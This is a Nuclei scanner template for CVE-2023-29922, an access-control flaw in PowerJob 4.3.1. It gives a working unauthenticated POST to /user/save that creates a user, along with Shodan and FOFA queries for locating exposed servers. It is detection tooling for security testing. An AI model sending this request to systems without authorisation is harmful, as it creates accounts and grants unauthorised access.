id: CVE-2023-29922

info:
  name: PowerJob V4.3.1 - Authentication Bypass
  author: Co5mos
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PowerJob V4.3.1.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/585
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29922
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29922
    cwe-id: CWE-1188
    epss-score: 0.00791
    epss-percentile: 0.79603
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    shodan-query: html:"PowerJob"
    fofa-query: app="PowerJob"
  tags: cve,cve2023,auth-bypass,powerjob
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /user/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{str}}","phone":"{{str}}","email":"{{str}}","webHook":"{{str}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"data":null'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bfbf1a8c87f9cb5f380257f32742fe3fbfc2ca545f5b61c3df52cb89048fb3b6022100a84526343d726f724f54e529c4771d5ee2037c66a32041da550cb9f158ef4fb1:922c64590222798bb761d5b6d8e72950